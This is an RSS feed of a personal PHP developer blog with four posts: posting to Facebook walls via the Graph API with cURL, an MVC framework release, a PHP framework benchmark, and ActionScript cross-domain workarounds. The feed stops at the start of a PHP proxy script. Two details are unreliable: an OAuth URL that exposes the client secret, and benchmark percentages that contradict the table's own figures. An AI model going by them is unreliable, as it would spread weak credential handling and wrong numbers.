<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jorge Albaladejo &#187; Php</title>
	<atom:link href="http://jorgealbaladejo.com/category/web-architecture/programming/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://jorgealbaladejo.com</link>
	<description>Hard &#38; Soft design...</description>
	<lastBuildDate>Sat, 10 Dec 2011 16:23:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Publish to Facebook page or application&#8217;s wall with PHP</title>
		<link>http://jorgealbaladejo.com/2011/06/13/publish-to-facebook-page-or-applications-wall-with-php/</link>
		<comments>http://jorgealbaladejo.com/2011/06/13/publish-to-facebook-page-or-applications-wall-with-php/#comments</comments>
		<pubDate>Mon, 13 Jun 2011 14:57:48 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Social Networks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[application wall]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[page wall]]></category>
		<category><![CDATA[PHP API]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=875</guid>
		<description><![CDATA[Just after implementing the Twitter Oauth API to publish tweets from a PHP application, I thought that doing the same with Facebook would be a piece of cake. Well, not quite, although I&#8217;ve finally managed to have the messages published to a page wall, or even to an application&#8217;s page wall from an automated script. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify">Just after implementing the <a href="http://dev.twitter.com/doc" target="_blank" rel="external">Twitter Oauth API</a> to publish tweets from a PHP application, I thought that doing the same with Facebook would be a piece of cake. Well, not quite, although I&#8217;ve finally managed to have the messages published to a page wall, or even to an application&#8217;s page wall from an automated script. In this article I explain some of the problems I encountered and how to solved them. I hope this example may be of help if you are having trouble with this.</p>
<p><span id="more-875"></span></p>
<h3>Publishing to a page&#8217;s wall</h3>
<p style="text-align:justify">According to the <a href="http://developers.facebook.com/docs/authentication/#app-login" target=" _blank" rel="external">Facebook documentation</a>, we need to register an application in order to use it to publish messages to a page&#8217;s wall. The process is explained on that page, so this should be a good moment to read it.</p>
<p style="text-align:justify">The process could be summarized as follows:</p>
<ol>
<li>Create an application.</li>
<li>Get the token for that application to manage the user&#8217;s pages (where the user is administrator of those pages).</li>
<li>Get the specific token for that application through the user to a precise page.</li>
</ol>
<p style="text-align:justify">While it should have been worked as it is explained on the documentation, I was having the following error:</p>
<p style="text-align:justify;font-style:italic;">(#200) The user hasn&#8217;t authorized the application to perform this action</p>
<p style="text-align:justify">So&#8230; why? According to the documentation, <em>manage_pages</em> is the only permission required for an application to access a page, and everything seemed in order. Actually, it wasn&#8217;t. After some tests going back and forth and some googleing, I realized I didn&#8217;t have enough scope, and adding <em>publish_stream</em> and <em>read_stream</em> seemed to be a requirement for the application to actually write to page&#8217;s wall. In addition, <em>offline_access</em> would produce a token that does not expire.</p>
<p style="text-align:justify">Once this issue fixed, the following steps should lead to a successful publication in a page&#8217;s wall from an external script:</p>
<ol>
<li>Register your application <a href="http://developers.facebook.com/setup/" target="_blank" rel="external">here</a>.</li>
<li>Obtain access to manage pages from the authorized page administrator<br />
	<em>https://www.facebook.com/dialog/oauth?client_id=$id&#038;client_secret=$secret&#038;redirect_uri=$uri&#038;scope=publish_stream,offline_access,read_stream,manage_pages&#038;response_type=token</em></li>
<li>Get an access token to the precise page of that administrator<br />
	<em>https://graph.facebook.com/me/accounts?access_token=$all_apps_token</em></li>
<li>Now you should be able to publish to that page with this token through a POST call to<br />
	<em>https://graph.facebook.com/$page_id/feed</em></li>
</ol>
<p style="text-align:justify">Here you are an example in PHP that uses this token to publish messages:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p875code2'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p8752"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
</pre></td><td class="code" id="p875code2"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> Facebook
<span style="color: #009900;">&#123;</span>	    
    <span style="color: #009933; font-style: italic;">/**
     * @var The page id to edit
     */</span>
    <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$page_id</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'XXX'</span><span style="color: #339933;">;</span>	
&nbsp;
    <span style="color: #009933; font-style: italic;">/**
     * @var the page access token given to the application above
     */</span>
    <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$page_access_token</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'YYY'</span><span style="color: #339933;">;</span>	
&nbsp;
    <span style="color: #009933; font-style: italic;">/**
     * @var The back-end service for page's wall
     */</span>
    <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$post_url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #009933; font-style: italic;">/**
     * Constructor, sets the url's
     */</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Facebook<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'https://graph.facebook.com/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">page_id</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/feed'</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #009933; font-style: italic;">/**
     * Manages the POST message to post an update on a page wall
     * 
     * @param array $data
     * @return string the back-end response
     * @private
     */</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> message<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>   
        <span style="color: #666666; font-style: italic;">// need token</span>
        <span style="color: #000088;">$data</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'access_token'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">page_access_token</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">// init</span>
        <span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/curl_init" rel="external"><span style="color: #990000;">curl_init</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POST<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POSTFIELDS<span style="color: #339933;">,</span> <span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">// execute and close</span>
        <span style="color: #000088;">$return</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/curl_exec" rel="external"><span style="color: #990000;">curl_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <a href="http://www.php.net/curl_close" rel="external"><span style="color: #990000;">curl_close</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">// end</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$return</span><span style="color: #339933;">;</span>        
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$facebook</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Facebook<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">message</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'message'</span>     <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'The status header'</span><span style="color: #339933;">,</span> 
                          <span style="color: #0000ff;">'link'</span>        <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'http://theurltopoint.to'</span><span style="color: #339933;">,</span> 
                          <span style="color: #0000ff;">'picture'</span>     <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'http://thepicturetoinclude.jpg'</span><span style="color: #339933;">,</span>
                          <span style="color: #0000ff;">'name'</span>        <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Name of the picture, shown just above it'</span><span style="color: #339933;">,</span> 
                          <span style="color: #0000ff;">'description'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Full description explaining whether the header or the picture'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<h3 style="margin-top:20px">Publishing to an app&#8217;s wall</h3>
<p style="text-align:justify">In some cases, we might want to publish to the application&#8217;s wall itself, so that there is no need to have a second application to publish to the first one&#8217;s wall.</p>
<p style="text-align:justify">According to <a href="http://stackoverflow.com/questions/691425/how-do-you-post-to-the-wall-on-a-facebook-page-not-profile" target="_blank" rel="external">some of the discussions</a> on the matter that can be found on the internet, this should work by simply using $page_id as the target and the same $page_id to request the manage_pages permission.</p>
<p style="text-align:justify">In this case, we would follow the same process explained above, but slightly simplified:</p>
<ol>
<li>Register your application <a href="http://developers.facebook.com/setup/" target="_blank" rel="external">here</a>.</li>
<li>Obtain an access code for your application<br />
	<em>https://graph.facebook.com/oauth/access_token?type=client_cred&#038;client_id=$id&#038;client_secret=$secret</em></li>
<li>Now you should be able to publish to the application&#8217;s wall with the token obtained through a POST call to<br />
	<em>https://graph.facebook.com/$app_id/feed</em></li>
</ol>
<p style="text-align:justify">However, Following the steps above, I obtained an error again:</p>
<p style="text-align:justify;font-style:italic;">
{&#8220;error&#8221;:{&#8220;type&#8221;:&#8221;OAuthException&#8221;,&#8221;message&#8221;:&#8221;(#200) Posts where the actor is a page cannot also include a target_id&#8221;}}</p>
<p style="text-align:justify">Which was way confusing since there shouldn&#8217;t be any limitation according to Facebook&#8217;s documentation. After some searching and reading literature about (<a href="http://www.sergiy.ca/post-on-facebook-app-wall-and-fan-page-wall-as-admin/" target="_blank" rel="external">here</a> and <a href="http://developers.facebook.com/docs/reference/javascript/" target="_blank" rel="external">here</a>), I discovered that publishing from an application to its own wall is doable, and in fact it works very well with the <a href="http://developers.facebook.com/docs/reference/javascript/" target="_blank" rel="external">JS API</a> provided by Facebook.</p>
<p style="text-align:justify">Then why the JS API would achieve the goal while its web service sister just throws a mystic error? It was quite obvious that they had to be using somewhat different service url&#8217;s&#8230; after inspecting the HTTP calls made by the JS API and was surprised to found that it is actually a <strong>GET</strong> (instead of <em>POST</em> call):</p>
<p style="text-align:justify;font-style:italic;">https://graph.facebook.com/$app_id/feed?access_token=$token&#038;callback=FB.ApiServer._callbacks.$some_callback_id&#038;message=Hello%2C%20World!&#038;method=post&#038;pretty=0&#038;sdk=joey</p>
<p style="text-align:justify">I just had to test this new url with the parameters of my application, and this time it just worked as expected:</p>
<p style="text-align:justify;font-style:italic;">https://graph.facebook.com/$app_id/feed?access_token=$api_access_token&#038;message=Hello%2C%20World!<strong>&#038;method=post</strong></p>
<p style="text-align:justify">This is the only solution I have found so far to be able to publish messages from PHP on behalf of an application itself. It is a bit awful, but I haven&#8217;t found any other way to make this work, and the documentation provided by Facebook seems like knocking on a wall.</p>
<p style="text-align:justify">Has anybody found any better solution for this problem? Comments are welcome!</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2011/06/13/publish-to-facebook-page-or-applications-wall-with-php/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>New MVCLight v0.1a released</title>
		<link>http://jorgealbaladejo.com/2011/01/19/new-mvclight-v0-1a-released/</link>
		<comments>http://jorgealbaladejo.com/2011/01/19/new-mvclight-v0-1a-released/#comments</comments>
		<pubDate>Wed, 19 Jan 2011 14:46:22 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[frameworks]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[MVCLight]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=764</guid>
		<description><![CDATA[I have had the time lately to build a basic MVC framework in PHP, based on the great tutorial by PHPro.org. It has been designed to be light though structured and functional. It is intended for people who need to develop home-brew solutions and are not happy with the footprint of other frameworks, or for [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I have had the time lately to build a basic MVC framework in PHP, based on the <a href="http://www.phpro.org/tutorials/Model-View-Controller-MVC.html" target="_blank" rel="external">great tutorial</a> by <a href="http://www.phpro.org/" target="_blank" rel="external">PHPro.org</a>.</p>
<p style="text-align: justify;">It has been designed to be light though structured and functional. It is intended for people who need to develop home-brew solutions and are not happy with the footprint of other frameworks, or for those who just want to have fun while creating their own MVC system.</p>
<p style="text-align: justify;">If you are interested, visit the page for documentation and download <a href="http://jorgealbaladejo.com/about/mvclight/" target="_self">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2011/01/19/new-mvclight-v0-1a-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Choosing a PHP MVC Framework: Yii Vs. Kohana Vs. Home made MVC</title>
		<link>http://jorgealbaladejo.com/2010/10/31/choosing-a-php-mvc-framework-yii-vs-kohana-vs-home-made-mvc/</link>
		<comments>http://jorgealbaladejo.com/2010/10/31/choosing-a-php-mvc-framework-yii-vs-kohana-vs-home-made-mvc/#comments</comments>
		<pubDate>Sun, 31 Oct 2010 08:45:57 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[Cake PHP]]></category>
		<category><![CDATA[Code Igniter]]></category>
		<category><![CDATA[Kohana]]></category>
		<category><![CDATA[Limonade]]></category>
		<category><![CDATA[PHP Frameworks]]></category>
		<category><![CDATA[PHPro MVC]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[Yii]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=706</guid>
		<description><![CDATA[Choosing a framework is never an easy task, there are many aspects to consider, the three most important ones are, from my point of view: Available features and community extensions. A good documentation with examples. A low footprint. The balance between these three values and the impact of each one on your project will determine [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Choosing a framework is never an easy task, there are many aspects to consider, the three most important ones are, from my point of view:</p>
<ul style="text-align: justify;">
<li>Available <strong>features </strong>and community 	extensions.</li>
<li>A good <strong>documentation </strong>with 	examples.</li>
<li>A low <strong>footprint</strong>.</li>
</ul>
<p style="text-align: justify;">The balance between these three values and the impact of each one on your project will determine the good candidate. Since having a wide range of included features and an active community who provides with extensions, we are sure that the wheel won’t be reinvented. Thus, we can become productive much faster.</p>
<p><span id="more-706"></span></p>
<p style="text-align: justify;">Secondly, documentation and examples also help to understand the technology and reduces the learning curve, so that, once again, we can do more complex thing much earlier.</p>
<p style="text-align: justify;">On the other hand, against the benefits of a well-known MVC framework, which includes the points above but also security, code structure, and strong development guidelines, we have to consider how the footprint will affect the overall performance.</p>
<p style="text-align: justify;"><em>But is performance a critical point?</em> In a time where servers can be escalated and are costless, should we worry about optimal performance and fast scripts? Well,  it depends on your project. I dare say that the vast majority of web sites (according to <a href="http://en.wikipedia.org/wiki/Pareto_principle" title="Pareto Principle" target="_blank" rel="external">Pareto principle</a>) can be developed with one framework or another. However, there might be specific cases where optimal performance and low execution time are the key to success.</p>
<p style="text-align: justify;">For instance, with social networking websites. Users do not want to wait for the content to be loaded, search engines are more and more favoring domains with a short load time and, finally, when the service may escalate, the cost related to hosting may save you a significant amount of money by the end of the year.</p>
<p style="text-align: justify;">While there are many ways to make your site load faster, whether you use a framework or not (<a href="http://en.wikipedia.org/wiki/PHP_accelerator" title="PHP accelerator" target="_blank" rel="external">code cache</a>, html cache, right header cache policies, using a CDN for static files…), it seems logical that the best results on this field are achieved by using low footprint frameworks, or even home brew lightweight platforms, completely adapted to your needs and means.</p>
<p style="text-align: justify;">On the other side, there is the matter of investment, which tends to be more critical when developing a home made platform than when adapting some solution in the market. Once again, it’s up to you to judge what fits better your situation, needs, and possibilities.</p>
<h3 style="text-align: justify;"><em><strong>A real case</strong></em></h3>
<p style="text-align: justify;">For a project I am working to, I have considered a few solutions to improve the code and be ready for high scalability by increasing coding productivity as well. The first I did is to research a bit about PHP MVC frameworks, their features and drawbacks:</p>
<ul style="text-align: justify;">
<li><a href="http://en.wikipedia.org/wiki/Comparison_of_web_application_frameworks#PHP_2" title="Comparison of Web Application Frameworks" target="_blank" rel="external">Wikipedia: 	Comparison of Web Application Frameworks</a>.</li>
<li><a href="http://www.phpframeworks.com/" title="PHPFrameworks.com" target="_blank" rel="external">PHPFrameworks.com</a></li>
<li><a href="http://www.phpit.net/demo/framework%20comparison/chart.php" title="PHPIT.net" target="_blank" rel="external">PHPIT.net</a>.</li>
<li><a href="http://www.mustap.com/phpzone_post_73_top-10-php-mvc-frameworks" title="Top 10 PHP MVC Frameworks" target="_blank" rel="external">Mustap.com 	PHP Zone: Top 10 PHP MVC Frameworks</a>.</li>
</ul>
<p style="text-align: justify;">Then I looked for performance benchmarks made by other users. Soon I realized that every project&#8217;s official site tends to present their product as clearly the best. Therefore, I have mostly considered third party studies like:</p>
<ul style="text-align: justify;">
<li><a href="http://www.beyondcoding.com/2009/03/02/choosing-a-php-framework-round-2-yii-vs-kohana-vs-codeigniter/"  title="Yii Vs. Kohana Vs. Code Igniter" target="_blank" rel="external">Beyondcoding: Yii Vs. Kohana Vs. Code Igniter</a>.</li>
<li><a href="http://www.beyondcoding.com/2008/02/23/notes-on-choosing-a-php-framework-a-quick-comparison-of-codeigniter-and-kohana/" title="Quick comparison of Code Igniter and Kohana" target="_blank" rel="external">Beyondcoding: Quick comparison of Code Igniter and Kohana</a>.</li>
<li><a href="http://daniel.carrera.bz/2009/01/comparison-of-php-frameworks-part-i/" title="Comparison of PHP Frameworks" target="_blank" rel="external">Daniel’s Corner: Comparison of PHP Frameworks</a>.</li>
<li><a href="http://www.sheldmandu.com/php/php-mvc-frameworks/php-mvc-framework-performance-part-1" title="PHP MVC Framework Performance" target="_blank" rel="external">Shelmandu: 	PHP MVC Framework Performance</a>.</li>
</ul>
<p style="text-align: justify;">After reading a while, I decided that a good candidate would be <a href="http://kohanaframework.org/" title="Kohana Framework" target="_blank" rel="external">Kohana</a> or <a href="http://www.yiiframework.com/" title="Yii Framework" target="_blank" rel="external">Yii</a>, because both are light enough, while well documented and rich in features, that is, the best balanced from the output of the research done. The next step I did then was to test them against a raw PHP script on a local server.</p>
<h3 style="text-align: justify;"><em><strong>The benchmark</strong></em></h3>
<p style="text-align: justify;">To set up the benchmark, I have installed a <a href="http://www.mamp.info/en/index.html" title="MAMP environment" target="_blank" rel="external">MAMP</a> environment on a MacBook computer. The results and specifications of the machine are not relevant on themselves, so I will focus on the relative performance between applications. The software used to run the tests is <a href="http://jakarta.apache.org/jmeter/" title="JMeter load test tool" target="_blank" rel="external">JMeter</a>, a free tool from the Apache project, written in Java and therefore, cross-platform.</p>
<p style="text-align: justify;">The test consisted on a basic script that connected to a database to get 100 results from a table and showed them on a HTML page. I run the battery with and without <a href="http://www.php.net/manual/en/book.apc.php" title="Alternative PHP Cache" target="_blank" rel="external">APC</a>, and the following table shows the results:</p>
<table style="text-align: justify; margin: 0 auto;" border="0" cellspacing="0" cellpadding="7" width="494">
<tbody>
<tr>
<td width="89"></td>
<td colspan="3" width="169"><em>Without APC</em></td>
<td colspan="3" width="192"><em>With APC</em></td>
</tr>
<tr>
<td width="89"></td>
<td width="48"><strong>users</strong></td>
<td width="38"><strong>rps</strong></td>
<td width="55"><strong>%</strong></td>
<td width="55"><strong>users</strong></td>
<td width="55"><strong>rps</strong></td>
<td width="54"><strong>%</strong></td>
</tr>
<tr>
<td width="89"><strong>PHP</strong></td>
<td width="48">500</td>
<td width="38">269</td>
<td width="55">100%</td>
<td width="55">1200</td>
<td width="55">400</td>
<td width="54">100%</td>
</tr>
<tr>
<td width="89"><strong><a href="http://kohanaframework.org/" title="Kohana Framework" target="_blank" rel="external">Kohana</a></strong></td>
<td width="48">120</td>
<td width="38">84</td>
<td width="55">3.2%</td>
<td width="55">1000</td>
<td width="55">312</td>
<td width="54">78.0%</td>
</tr>
<tr>
<td width="89"><strong><a href="http://www.yiiframework.com/" title="Yii Framework" target="_blank" rel="external">Yii</a></strong></td>
<td width="48">100</td>
<td width="38">22</td>
<td width="55">12.2%</td>
<td width="55">900</td>
<td width="55">289</td>
<td width="54">72.3%</td>
</tr>
<tr>
<td width="89"><strong><a href="http://www.phpro.org/tutorials/Model-View-Controller-MVC.html" title="PHPro MVC" target="_blank" rel="external">PHPro MVC</a></strong></td>
<td width="48">400</td>
<td width="38">265</td>
<td width="55">98.5%</td>
<td width="55">-</td>
<td width="55">-</td>
<td width="54">-</td>
</tr>
<tr>
<td width="89"><strong><a href="http://www.limonade-php.net/" title="Limonade PHP Framework" target="_blank" rel="external">Limonade</a></strong></td>
<td width="48">400</td>
<td width="38">113</td>
<td width="55">42.0%</td>
<td width="55">-</td>
<td width="55">-</td>
<td width="54">-</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;"><em>Please note</em>: the first three technologies have been tested with and without APC. This has thrown light over the fact that, despite using APC raises the selected MVC’s performance to an acceptable level, there is also a considerable lose regarding raw PHP.</p>
<p style="text-align: justify;">The last two ones have been run on a second series,  after I decided that, despite I am planning  to use APC, it was better to compare the frameworks on their basic installation. Despite using APC is a good idea, it has to be applied to every view  generation on a widely manner, so it is better not to rely all the  application’s performance on the right use of this tool, but on a  certain basis. These two cases (PHPro MVC and Limonade) have been chosen for their low footprint, despite their lack of extensions migh increase the time investment.</p>
<h3 style="text-align: justify;"><em><strong>Conclusion</strong></em></h3>
<p style="text-align: justify;">As I said before, choosing a framework for your web application is not a trivial task. Normally, any of the most well-known applications would be more than useful. Frameworks like CakePHP, Zend, Yii, Kohana and Code Igniter are well documented, maintained by a big community, rich on features and &#8211; some more than others &#8211; are considerably fast. Only in some very precise and critical situations we would like to choose some home brew PHP code, and in that case whether Limonade, whether our own PHP MVC framework (and PHPro MVC is a good base architecture to start with) would be the solution we are looking for.</p>
<p style="text-align: justify;">It&#8217;s up to you, what are your experiences with high load websites and PHP Frameworks? Which one do you prefer? Comments are welcome <img src='http://jorgealbaladejo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3 style="text-align: justify;"><em><strong>23/03/2011 Update</strong></em></h3>
<p style="text-align: justify;">Please take a look to <a href="/about/mvclight/" title="MVC Light">MVC Light</a> if you are interested on lightweight home-brew frameworks (it is an evolution of <a href="http://www.phpro.org/tutorials/Model-View-Controller-MVC.html" title="PHPro MVC" target="_blank" rel="external">PHPro MVC</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2010/10/31/choosing-a-php-mvc-framework-yii-vs-kohana-vs-home-made-mvc/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>ActionScript 3 and cross-domain problem</title>
		<link>http://jorgealbaladejo.com/2010/09/06/actionscript-and-cross-domain-problem/</link>
		<comments>http://jorgealbaladejo.com/2010/09/06/actionscript-and-cross-domain-problem/#comments</comments>
		<pubDate>Mon, 06 Sep 2010 19:37:27 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[actionscript 3]]></category>
		<category><![CDATA[cross-domain]]></category>
		<category><![CDATA[proxy php]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=664</guid>
		<description><![CDATA[One of the most typical problems when coding AS3 to, let&#8217;s say, read data from an external XML source, is the cross-domain problem. According to security policies, not an url outside the domain where the AS application is being executed can be read, and different subdomains (such as www.yourdomain.com and yourdomain.com) are considered as different [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify">One of the most typical problems when coding AS3 to, let&#8217;s say, read data from an external XML source, is the cross-domain problem. According to security policies, not an url outside the domain where the AS application is being executed can be read, and different subdomains (such as www.yourdomain.com and yourdomain.com) are considered as different ones.</p>
<p style="text-align:justify">If the external resources you are trying to use come from your own application in another domain / server that you manage, then it can be fixed by adding a <a href="http://kb2.adobe.com/cps/142/tn_14213.html#main_Cross_domain_policy_files" title="Cross-domain policy files" target="_blank" rel="external">cross-domain policy file</a>. This file must be defined on the content source server, and your AS application has to explicitly <a href="http://stackoverflow.com/questions/1638641/how-do-i-fix-this-cross-domain-actionscript-3-error" title="ActionScript 3 cross-domain problem" target="_blank" rel="external">declare</a> this server as allowed.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p664code8'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6648"><td class="code" id="p664code8"><pre class="actionscript" style="font-family:monospace;">Security.<span style="color: #0066CC;">allowDomain</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;domainone.com&quot;</span><span style="color: #66cc66;">&#41;</span>;
Security.<span style="color: #0066CC;">allowDomain</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;domaintwo.com&quot;</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>&nbsp;</p>
<p style="text-align:justify">But if this is not the case and the content source is on a different remote server like, for instance, when implementing an RSS news reader which grabs content from sources like online news sites, then this problem can be worked out with a PHP proxy file.</p>
<p><span id="more-664"></span></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p664code9'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6649"><td class="code" id="p664code9"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
